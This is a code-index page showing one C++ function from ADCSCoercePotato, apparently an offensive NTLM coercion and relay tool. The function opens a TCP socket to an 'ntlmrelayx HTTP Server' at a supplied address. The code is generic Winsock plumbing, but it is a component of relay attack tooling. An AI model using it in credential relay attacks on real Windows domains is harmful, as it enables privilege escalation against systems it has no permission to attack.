MCPcopy Create free account
hub / github.com/decoder-it/ADCSCoercePotato / CreateHTTPSocket

Function CreateHTTPSocket

HTTPCrossProtocolRelay.cpp:23–73  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

21SOCKET CreateHTTPSocket(wchar_t*, wchar_t*);
22
23SOCKET CreateHTTPSocket(const wchar_t* remoteHTTPIp, const wchar_t* remoteHttpPort) {
24 //----------------------
25 // Initialize Winsock
26
27 char remoteHTTPIp_a[20];
28 char remotePort_a[12];
29 int remotePort;
30 WSADATA wsaData;
31 int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
32 if (iResult != NO_ERROR) {
33 wprintf(L"WSAStartup function failed with error: %d\n", iResult);
34 return 1;
35 }
36 //----------------------
37 // Create a SOCKET for connecting to server
38 SOCKET ConnectSocket;
39 ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
40 if (ConnectSocket == INVALID_SOCKET) {
41 wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
42 WSACleanup();
43 return 1;
44 }
45 //----------------------
46 // The sockaddr_in structure specifies the address family,
47 // IP address, and port of the server to be connected to.
48
49 memset(remotePort_a, 0, 12);
50 wcstombs(remotePort_a, remoteHttpPort, 12);
51 memset(remoteHTTPIp_a, 0, 20);
52 wcstombs(remoteHTTPIp_a, remoteHTTPIp, 20);
53 remotePort = atoi(remotePort_a);
54 sockaddr_in clientService;
55 clientService.sin_family = AF_INET;
56 clientService.sin_addr.s_addr = inet_addr(remoteHTTPIp_a);
57 clientService.sin_port = htons(remotePort);
58
59 //----------------------
60 // Connect to server.
61 iResult = connect(ConnectSocket, (SOCKADDR*)& clientService, sizeof(clientService));
62 if (iResult == SOCKET_ERROR) {
63 wprintf(L"CreateHTTPSocket: connect function failed with error: %ld\n", WSAGetLastError());
64 iResult = closesocket(ConnectSocket);
65 if (iResult == SOCKET_ERROR)
66 wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
67 WSACleanup();
68 return 1;
69 }
70
71 printf("[*] Connected to ntlmrelayx HTTP Server %S on port %S\n", remoteHTTPIp, remoteHttpPort);
72 return ConnectSocket;
73}
74
75SOCKET CreateRPCSocket(const wchar_t* remoteHTTPIp, const wchar_t* remoteHttpPort) {
76 //----------------------

Callers 1

startCOMListenerMethod · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected